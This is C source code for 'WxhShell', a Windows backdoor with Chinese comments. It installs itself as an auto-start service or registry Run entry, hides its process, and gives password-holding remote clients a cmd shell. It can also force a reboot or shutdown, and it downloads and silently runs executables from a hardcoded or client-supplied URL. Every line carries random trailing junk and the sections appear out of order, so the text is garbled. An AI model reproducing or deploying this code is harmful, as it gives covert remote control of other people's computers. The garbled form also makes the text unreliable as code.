    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UDz#?ZWnd  
    if(Boot(SHUTDOWN)) C_DXg-a2lu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4#y  
    else { :vJ0Ypz-u  
    closesocket(wsh); (>Tq  
    ExitThread(0); g!`$bF=e  
    } T"$yh2tSY  
    break; m2"~.iM8  
    } nXOJ  
  // 获取shell Z6`[ dAo  
  case 's': { : |?nz$  
    CmdShell(wsh); WwM/M!98J  
    closesocket(wsh); Ui`Z>,0sFi  
    ExitThread(0); ( AnM _s  
    break; Xm2p<Xu8h  
  } UjU*`}k3  
  // 退出 tZ ]/?+1G  
  case 'x': { }[OOkYF#r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zLiFk<G@Xi  
    CloseIt(wsh); IZkQmA=  
    break; ^/kn#1H7&  
    } qj5V<c;h%W  
  // 离开 jQs"8[=s  
  case 'q': { Sc zYL?w^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GwoN=  
    closesocket(wsh); le-Q&*  
    WSACleanup(); 24 i00s|#  
    exit(1); A<VNttgG  
    break; amn\#_(  
        } eD4o8[s  
  } *h>KeIB;  
  } ]D;X"2I2'b  
ED={OZD8  
  // 提示信息 C&vUZa[p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q,mmHw.`J  
} VY5/C;0^h  
  } KPOr8=Rc  
_cY!\'  
  return; Kf$%C"  
} TYQ7jt0=.-  
9_z u*  
// shell模块句柄 ,5_Hen=PI  
int CmdShell(SOCKET sock) 5@6%/='I q  
{ Wm/0Y'$r&k  
STARTUPINFO si; *L3>:],7  
ZeroMemory(&si,sizeof(si)); zMkjdjb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l25E!E-'b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :! h1S`wS  
PROCESS_INFORMATION ProcessInfo; ^Z{W1uYi  
char cmdline[]="cmd"; 0]c 2T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wYrb P11  
  return 0; m|)Mc VV  
} C[ ehw  
I'h6!N"  
// 自身启动模式 t@TBx=16  
int StartFromService(void) '@ym-\,  
{ w7?&eF(w(  
typedef struct &ESE?{of)  
{ SG{> t*E  
  DWORD ExitStatus; ;L5'3+U  
  DWORD PebBaseAddress; n'yC-;  
  DWORD AffinityMask; v^a. b  
  DWORD BasePriority; gm63dE>  
  ULONG UniqueProcessId; Q}a 1P8?S  
  ULONG InheritedFromUniqueProcessId; tf?u ;n  
}   PROCESS_BASIC_INFORMATION; X/_e#H0  
w~eF0 {h  
PROCNTQSIP NtQueryInformationProcess; QGYO{S  
?X1vU0 c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ztNm,1pnQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `43`*=  
8Q&hhmOnz  
  HANDLE             hProcess; wr/Z)e =^3  
  PROCESS_BASIC_INFORMATION pbi; MjAF&bD^  
0pWF\<IZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lH6zZ8rh  
  if(NULL == hInst ) return 0; @tY)s  
))" *[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /Ot=GhN]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n1n1 }  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !4 4)=xW  
c5?;^a[  
  if (!NtQueryInformationProcess) return 0; p4 #U:_  
7.n/W|\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T>l=0a #  
  if(!hProcess) return 0; W 2VH?-Gw  
xr uQ=Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tK3.HvD  
4}FuoQL  
  CloseHandle(hProcess); NJG-~ w  
A#gmKS<J/7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \dAh^BK1(  
if(hProcess==NULL) return 0; )&"l3*x  
K<O1PrC  
HMODULE hMod; :" 9 :J  
char procName[255]; HL;y5o?  
unsigned long cbNeeded; 36154*q  
N#-P}\Q9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;?>xuC$  
+1j@n.)ft  
  CloseHandle(hProcess); [-)N}rL>  
bE-{ U/;  
if(strstr(procName,"services")) return 1; // 以服务启动 `B+P$K<X  
iV!o)WvG,F  
  return 0; // 注册表启动 i]:T{2  
} 2f8fA'|O  
`B{N3Kxbp  
// 主模块 lHBk&UN'  
int StartWxhshell(LPSTR lpCmdLine) 3;(6tWWLT  
{ @|:_?  
  SOCKET wsl; #/NZ0IbHk  
BOOL val=TRUE; VC "66 \d&  
  int port=0; w(O/mUDX  
  struct sockaddr_in door; ozZW7dveU  
S) /(~  
  if(wscfg.ws_autoins) Install(); 58"Cn ||tF  
jTbJL  
port=atoi(lpCmdLine); *{t{/^'y  
&?m|PK)I  
if(port<=0) port=wscfg.ws_port; EQDs bG0x  
3fJ GJW!zu  
  WSADATA data; 9Xb,Swo~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c:0nOP  
?mxBMtc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H#IJ&w|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jm1f,=R  
  door.sin_family = AF_INET; `9a %vN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b4GD}kR  
  door.sin_port = htons(port); g9> 0N#<  
z1t YD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t|Cp<k]B  
closesocket(wsl); 3+mC96wN  
return 1; .i[rd4MCK  
} ig(a28%  
HS3] 8nJW  
  if(listen(wsl,2) == INVALID_SOCKET) { ?-CZJr  
closesocket(wsl); P;o6rQf  
return 1; .LDK+c  
} cn&\q.!fh  
  Wxhshell(wsl); H!Gsu$C  
  WSACleanup(); vzl+0"  
w5 nzS)B:u  
return 0; UR|UGldt_T  
GxWA=Xp^~G  
} /QDlm>FM4  
yyke"D  
// 以NT服务方式启动 '@)47]~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '\qd{mM\r  
{ x<#Z3Kla  
DWORD   status = 0; ?4%'6R  
  DWORD   specificError = 0xfffffff; Fm(~Vt;%u  
#L[-WC]1y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _" 0VM >  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1vlRzkd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; __HPwOCG7  
  serviceStatus.dwWin32ExitCode     = 0; #g,JNJ}  
  serviceStatus.dwServiceSpecificExitCode = 0; U$o\?4  
  serviceStatus.dwCheckPoint       = 0; |:_WdU"Q]  
  serviceStatus.dwWaitHint       = 0; fx@Hd!nO~"  
}HB)%C50.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \ FW{&X9a  
  if (hServiceStatusHandle==0) return; | k"?I  
u^H:z0  
status = GetLastError(); MQc|j'vEY  
  if (status!=NO_ERROR) m1DzU q;  
{ 5 _X|U*+5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v'Y)~Kv@!  
    serviceStatus.dwCheckPoint       = 0; k$`~,LJp  
    serviceStatus.dwWaitHint       = 0; =fmM=@!$<  
    serviceStatus.dwWin32ExitCode     = status; jUjgxP*7m  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4%wP}Zj#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n(^{s5 Rr  
    return; n"YY:Gm;8  
  } o.yuz+  
2_lgy?OE`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bqEQP3t^  
  serviceStatus.dwCheckPoint       = 0; t,$4J6  
  serviceStatus.dwWaitHint       = 0; #$p&J1   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s5 ? 1w   
} *,g|I8?%VD  
o33 wePx,  
// 处理NT服务事件,比如:启动、停止 \6A-eWIQif  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +92/0  
{ ^Glmg}>q  
switch(fdwControl) Ara D_D  
{ l);M(<  
case SERVICE_CONTROL_STOP: ^`ah\L  
  serviceStatus.dwWin32ExitCode = 0; 3 @XkO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A:$Qt%c  
  serviceStatus.dwCheckPoint   = 0; rEwEdyK  
  serviceStatus.dwWaitHint     = 0; s=0z%~H  
  { >`Xikn(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _t[RHrs  
  } 0BF'@r";  
  return; HGqT"N Jr  
case SERVICE_CONTROL_PAUSE: &,B\ig1Jf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eSvS<\p  
  break; ;&B;RUUnTO  
case SERVICE_CONTROL_CONTINUE: +3]1AJa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bw^*6P^l  
  break; ,PH;j_  
case SERVICE_CONTROL_INTERROGATE: AD_RU_a9  
  break; ];& @T\Rj  
}; 'Fi\Qk'D@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }7p`8?  
} Pf`HF|NI  
JJ\|FZ N  
// 标准应用程序主函数 b1An2 e[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r8.R?5F@  
{ DC?U +  
Ox .6]W~  
// 获取操作系统版本 jK`b6:#(,  
OsIsNt=GetOsVer(); $ ?ayE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b CWSh~  
1/b5i8I2 v  
  // 从命令行安装 /)6+I(H  
  if(strpbrk(lpCmdLine,"iI")) Install(); %K0 H?^.  
+<#0V!DM  
  // 下载执行文件 ;+:C  
if(wscfg.ws_downexe) { "u#,#z_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *F:f\9   
  WinExec(wscfg.ws_filenam,SW_HIDE); v|DgRPY  
} fpd4 v|(  
WC2sRv4]3  
if(!OsIsNt) { Jz"Yb  
// 如果时win9x,隐藏进程并且设置为注册表启动  {yXpBS  
HideProc(); =3K}]3f  
StartWxhshell(lpCmdLine); D==C"}J  
} mdzUL d5J  
else p./9^S  
  if(StartFromService()) jU~q~e7Te  
  // 以服务方式启动 l Vb{bO9-O  
  StartServiceCtrlDispatcher(DispatchTable); IR_&dWHyc  
else -jXO9Q  
  // 普通方式启动 }:QQ{h_  
  StartWxhshell(lpCmdLine); JU>F&g/|  
w|t}.u  
return 0; r Uau? ?  
} @Z}TF/Rx4  
Q)mYy  
E@.daUoB  
GXk]u  
=========================================== H\r- ;,&  
H6o_*Y  
-l(G"]tRB  
"`6pF8k  
W!Qaa(o?  
1n3XB+*  
" }Od=WQv+  
@ zs.M-F  
#include <stdio.h> ) dB?Ep|  
#include <string.h> @~ 6,8nQ  
#include <windows.h> $^K12Wcp-  
#include <winsock2.h> xj< K6  
#include <winsvc.h> m#Y[EPF=|  
#include <urlmon.h> WALK@0E  
U;w| =vM  
#pragma comment (lib, "Ws2_32.lib") I+GP`=\  
#pragma comment (lib, "urlmon.lib") /#Gm`BT  
->9waXRDz)  
#define MAX_USER   100 // 最大客户端连接数 e'dx Y(  
#define BUF_SOCK   200 // sock buffer "wi}/,)  
#define KEY_BUFF   255 // 输入 buffer yd=NafPM  
2Q;g|*]  
#define REBOOT     0   // 重启 Y 8Dn&W  
#define SHUTDOWN   1   // 关机 uY;7&Lw y1  
JTcE{i  
#define DEF_PORT   5000 // 监听端口 J ]ri|a  
=WEWs4V5A  
#define REG_LEN     16   // 注册表键长度 8+mu'RZ X  
#define SVC_LEN     80   // NT服务名长度 Yc`PK =!l  
AMe_D  
// 从dll定义API ecdM+kP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9i`MUE1Sh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cv7.=*Kb;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %) /Bl.{}<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BK 9+fO  
} $oZZKS  
// wxhshell配置信息 t~V?p'a0ys  
struct WSCFG { R+<M"LriR&  
  int ws_port;         // 监听端口 $wm8N.I3I  
  char ws_passstr[REG_LEN]; // 口令 s*tzU.E (  
  int ws_autoins;       // 安装标记, 1=yes 0=no WNp-V02l  
  char ws_regname[REG_LEN]; // 注册表键名 F7&Oc)f"B  
  char ws_svcname[REG_LEN]; // 服务名 7Um3m yXU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [pzo[0G 'v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [&5%$ T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >jRH<|Az  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oTb4T=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t@cImmh\T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mNQ*YCq.  
55V&[>|K5  
}; w9,w?%F  
115zvW  
// default Wxhshell configuration `{+aJ0<S  
struct WSCFG wscfg={DEF_PORT, Lw<%?F (  
    "xuhuanlingzhe", %Hpz^<`  
    1, PbIir=  
    "Wxhshell", n_ S)9C'=  
    "Wxhshell", - -ZSl  
            "WxhShell Service", s}Q*zy  
    "Wrsky Windows CmdShell Service", ,K8(D<{  
    "Please Input Your Password: ", Lb0BmR%0  
  1, pVC; ''E  
  "http://www.wrsky.com/wxhshell.exe", (R^Ca7F  
  "Wxhshell.exe" ^cI 0 d,3=  
    }; ,7^,\ ,-m  
}^Ky)**  
// 消息定义模块 ]oE:p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3sz?49tX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *K=Yrisz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4qg] oiT  
char *msg_ws_ext="\n\rExit."; !~a1xI~s  
char *msg_ws_end="\n\rQuit."; RrRE$g  
char *msg_ws_boot="\n\rReboot..."; PJ'.s  
char *msg_ws_poff="\n\rShutdown..."; {PQ!o^7y  
char *msg_ws_down="\n\rSave to "; A9C  
rRd8W}B  
char *msg_ws_err="\n\rErr!"; I>%@[h,+  
char *msg_ws_ok="\n\rOK!"; Jsw%.<  
Q+=D#x  
char ExeFile[MAX_PATH]; {+x;J4  
int nUser = 0; ;eiqzdP  
HANDLE handles[MAX_USER]; JTfG^Nv>K  
int OsIsNt; +EP=uV9t  
p<AzpkU,A  
SERVICE_STATUS       serviceStatus; 8~eYN- #W&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1`l10fqU  
YMIX|bj6Y  
// 函数声明 Q0-}!5`E1$  
int Install(void); )@\m0bnF  
int Uninstall(void); :Tn1]a)f6  
int DownloadFile(char *sURL, SOCKET wsh); 0OPpALl  
int Boot(int flag); oK{H <79  
void HideProc(void); -40OS=wpA  
int GetOsVer(void); [;8vO=Z  
int Wxhshell(SOCKET wsl); rulw6vTB(  
void TalkWithClient(void *cs); b8TwV_&|X  
int CmdShell(SOCKET sock); ~@N0$S  
int StartFromService(void); nk-V{']  
int StartWxhshell(LPSTR lpCmdLine); G,JK$j>*l  
;O Y*`(Id  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {Wh7>*p{3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BuIly&qbm<  
eK'ztqQ  
// 数据结构和表定义 (N`x  
SERVICE_TABLE_ENTRY DispatchTable[] = _ ZC[h~9H  
{ ? bnhx  
{wscfg.ws_svcname, NTServiceMain}, l1wYN,rv  
{NULL, NULL} 2[Q/|D}}|  
}; @N,I}_9-  
M~#% [?iU  
// 自我安装 ;yVT:qd %  
int Install(void) >djTJ>dl_u  
{ -+w^"RBV  
  char svExeFile[MAX_PATH]; K3($,aB}  
  HKEY key; {'R\C5 :D7  
  strcpy(svExeFile,ExeFile); o6~9.~_e  
|jwN8@  
// 如果是win9x系统,修改注册表设为自启动 UJ8V%0  
if(!OsIsNt) { .P>-Fh,_p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FsyM{LT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8!q$8]M  
  RegCloseKey(key); _ZD8/?2QV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Pw(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f}U@e0Lsb  
  RegCloseKey(key); }9,^=g-  
  return 0; Z UCz-53  
    } 4:S?m(ah/  
  } =fZMute  
} pHkhs{/X  
else { #Z.2g].  
XK7$Xbd  
// 如果是NT以上系统,安装为系统服务 m:A1wL4c6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }3&~YBx;:  
if (schSCManager!=0) Z 71.*  
{ rBY{&JhS  
  SC_HANDLE schService = CreateService Y']D_\y  
  ( "2~%-;c  
  schSCManager, S66. .sa  
  wscfg.ws_svcname, !<P|:Oo*Dl  
  wscfg.ws_svcdisp, bn8`$FA^  
  SERVICE_ALL_ACCESS, Ws>2 S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vuCl(/P`  
  SERVICE_AUTO_START, Z<,$Xv L  
  SERVICE_ERROR_NORMAL, #=* y7w  
  svExeFile, m2o)/:  
  NULL, D ^~G(m;-  
  NULL, It .`  
  NULL, ?\D=DIN-r  
  NULL, ?U PZ49y  
  NULL zu@5,AH  
  ); +g6t)Gl  
  if (schService!=0) s/"?P/R  
  { _Ka6! 9  
  CloseServiceHandle(schService); @Pt,N qj:  
  CloseServiceHandle(schSCManager); :~1sF_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }wh sZ  
  strcat(svExeFile,wscfg.ws_svcname); Zoi\r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ie f~*:5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8 FqhSzw  
  RegCloseKey(key); ;HOOo>%_K  
  return 0; 8.'[>VzBL  
    } P e\AH  
  } lW!}OzE(m  
  CloseServiceHandle(schSCManager); wCwJ#-z.=  
} +?!x;qS^  
} fuQb h  
]^j'2nJv0  
return 1; 8<VO>WA>E  
} BV8-\R@  
*61+Fzr  
// 自我卸载 -or^mNB_z  
int Uninstall(void) Y<vsMf_U  
{ G q" [5r"  
  HKEY key; hpqM fz1  
6Wm`Vj(s  
if(!OsIsNt) { yz CQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z  DP  
  RegDeleteValue(key,wscfg.ws_regname); l^@!,Z  
  RegCloseKey(key); s L9,+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1ud+~y$K  
  RegDeleteValue(key,wscfg.ws_regname); Jx:t(oUR+  
  RegCloseKey(key); I4%p?'i,C  
  return 0; *7ggw[~  
  } b~1]}9TJ  
} 9 NO^ '  
} &@c?5Ie5  
else {  b* QRd  
RO([R=.`/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vu&%e\gM  
if (schSCManager!=0) 7.r}98V  
{ 4TBK:Vm5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q]-CTx$  
  if (schService!=0) M%3 \]&  
  { abHW[VP9  
  if(DeleteService(schService)!=0) { u]B15mT?  
  CloseServiceHandle(schService); jWg7RuN  
  CloseServiceHandle(schSCManager); j &#A 9!  
  return 0; nZfU:N  
  } -7^A_!.  
  CloseServiceHandle(schService); S~8w-lG!  
  } N34.Bt  
  CloseServiceHandle(schSCManager); A?DgeSm  
} ;>eD`Wh  
} LEq"g7YH  
62R9 4  
return 1; )wmG&"qsP  
} 8$|< `:~J  
e~#"#?  
// 从指定url下载文件 ,_JhvPWR,)  
int DownloadFile(char *sURL, SOCKET wsh) d$3;o&VUNI  
{ ];-DqK'  
  HRESULT hr; )YDuq(g&  
char seps[]= "/"; arCi$:-z@  
char *token; :QndeUw  
char *file; 4@K9%  
char myURL[MAX_PATH]; W>ziA  
char myFILE[MAX_PATH]; 6,ZfC<)  
q(i^sE[y  
strcpy(myURL,sURL); 2k }:)]m  
  token=strtok(myURL,seps); p19[qy~.  
  while(token!=NULL) 19Cs 3B\4  
  { *h<= (Y%   
    file=token; #Ub"Ii  
  token=strtok(NULL,seps); 'IorjR@ 40  
  } Quc,,#u  
.4M8  
GetCurrentDirectory(MAX_PATH,myFILE); %idn7STJ}  
strcat(myFILE, "\\"); rjmKe*_1V  
strcat(myFILE, file); vy ME  
  send(wsh,myFILE,strlen(myFILE),0); 4%8}vCs  
send(wsh,"...",3,0); &GF|Rr8NXs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [-Zp[  
  if(hr==S_OK) vv2N;/;I  
return 0; z (N3oBW  
else j\^0BTZ  
return 1; KGMX >t'  
yI&{8DCCw  
} G}o?lo\#h  
/`M> 3q[  
// 系统电源模块 -S7PnR6  
int Boot(int flag) \hjGw,d  
{ +N161vo7  
  HANDLE hToken; f8ap+][  
  TOKEN_PRIVILEGES tkp; ~s}0z&v^te  
0jS"PH?[  
  if(OsIsNt) { \htL\m^$9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l!n<.tQW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _eB?G  
    tkp.PrivilegeCount = 1; @WppiZ$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U6hT*126  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $ae*3L>5M  
if(flag==REBOOT) { ;5wmQFr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (nhv#&Fd+  
  return 0; KY)r kfo B  
} ~, hPi  
else { &*G+-cF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }3tbqFiH  
  return 0; cJEO wAN  
} ^*;{Uj+O~Y  
  } s]=s2.=  
  else { go, Hfb  
if(flag==REBOOT) { dg%Orvuz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t@GPB]3[  
  return 0; GCxtWFXH  
} 'xNPy =#  
else { F{1;~Yg%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :n3)vK   
  return 0; @PXb^x#k  
} JHY0 J &4s  
} '4PAH2&n  
^!]Hm&.a  
return 1; u$%>/cv  
} )"  H$1  
Da)rzr|}>3  
// win9x进程隐藏模块 7m;2M]BRi  
void HideProc(void) zl>l.zJ  
{ F+;{s(wx  
r7tN(2;5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lVywc:X  
  if ( hKernel != NULL ) Mis t,H7  
  { b\zRwp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AL.zF\?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !B==cNq  
    FreeLibrary(hKernel); /K mzi9j+  
  } 6qA48:/F=  
m`<Mzk.u<  
return; S~1>q+<Q  
} <BIj a  
_(J7^rN  
// 获取操作系统版本 |H67ny&K^&  
int GetOsVer(void) |irqv< r  
{ g-=)RIwm  
  OSVERSIONINFO winfo; } d / 5_X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |]a =He;  
  GetVersionEx(&winfo); T ,, Ao36  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M.K-)r,  
  return 1; !g /&ws&  
  else ?3!"js B  
  return 0; +zxj-di M  
} `d#l o  
DG8LoWZ  
// 客户端句柄模块 *|MHQp'A  
int Wxhshell(SOCKET wsl) `fEB,0j^  
{ .BGM1ph}~  
  SOCKET wsh; @R= gJ:&a  
  struct sockaddr_in client; lkf(t&vL2  
  DWORD myID; SCk2D!u  
Gx ?p,Fj  
  while(nUser<MAX_USER) BM*9d%m^  
{ ]=p@1  
  int nSize=sizeof(client); -;_`>OU{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~YHy '.  
  if(wsh==INVALID_SOCKET) return 1; 27*u^N*z@  
uhL+bj+W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q10gKVJum  
if(handles[nUser]==0) >{i/LC^S  
  closesocket(wsh); ^yUel.N5"  
else HlqvXt\  
  nUser++; 2wE?O^J  
  } $:"r$7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uR{HCZ-  
gB@Xi*  
  return 0; $X_JUzb  
} Uw^`_\si  
LRBcW;.Su  
// 关闭 socket pN/)$6=  
void CloseIt(SOCKET wsh) LZm6\x  
{ |ofegO}W7  
closesocket(wsh); h)BRSs?v_D  
nUser--; _ngyai1  
ExitThread(0); N+x0"~T}I  
} J& }/Xw)  
2?ac\c6"  
// 客户端请求句柄 <`*}$Zh  
void TalkWithClient(void *cs) naCPSsei  
{ fk4s19;?  
{4Y@ DQ-  
  SOCKET wsh=(SOCKET)cs; f7 V36Q8  
  char pwd[SVC_LEN]; 2<wuzP|  
  char cmd[KEY_BUFF]; ~\`lbGJ7?  
char chr[1]; Qj~m;F!  
int i,j; MB :knj  
WS8m^~S@\  
  while (nUser < MAX_USER) { +[*VU2f t  
q}e"E cr  
if(wscfg.ws_passstr) { '/U[ ui0{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C J S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {]<l|qK  
  //ZeroMemory(pwd,KEY_BUFF); V %'`nJ!  
      i=0; b'Qia'a%  
  while(i<SVC_LEN) { ,ii*[{X?  
&=H{ 36i@  
  // 设置超时 .MkHB0 2N  
  fd_set FdRead; duB{ 1  
  struct timeval TimeOut; $9<q'hf<w  
  FD_ZERO(&FdRead); 1o)@{x/pd  
  FD_SET(wsh,&FdRead); c^vP d]Ed  
  TimeOut.tv_sec=8; QU^*(HGip  
  TimeOut.tv_usec=0; jZeY^T)f"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *LpEH,J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e*p7(b-  
=LV7K8FSd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =gS?atbX  
  pwd=chr[0]; %0C<_drW  
  if(chr[0]==0xd || chr[0]==0xa) { M*FUtu  
  pwd=0; $X8(OS5d'  
  break; CY#|VE M  
  } ZC 7R f  
  i++; D7|[:``  
    } B*btt+6  
0X@!i3eu  
  // 如果是非法用户,关闭 socket Hs/ aU_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Jh*S`e  
} DhY.5  
D+ mZ7&L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OV3l)73?t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .zQ:u{FT  
[P.M>"c\  
while(1) { 0+MNu8t  
)[RLCZ  
  ZeroMemory(cmd,KEY_BUFF); r(;oDdVc  
}U3+xl6g  
      // 自动支持客户端 telnet标准   Oxs O  
  j=0; Q^X  
  while(j<KEY_BUFF) { _R&mN\ey5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -4ry)isYx  
  cmd[j]=chr[0]; TI4#A E  
  if(chr[0]==0xa || chr[0]==0xd) { 0/K?'&$yvb  
  cmd[j]=0; abiZ"?(  
  break; !>QS746S@  
  } S :)Aj6>6  
  j++; 8* 7t1$  
    } U-Ia$b-5!  
Aq' yr,  
  // 下载文件 MU6|>{  
  if(strstr(cmd,"http://")) {  gGF]Dq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xCN6?  
  if(DownloadFile(cmd,wsh)) -e< d//>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kQ~2mU  
  else s~e<Pr?yu  
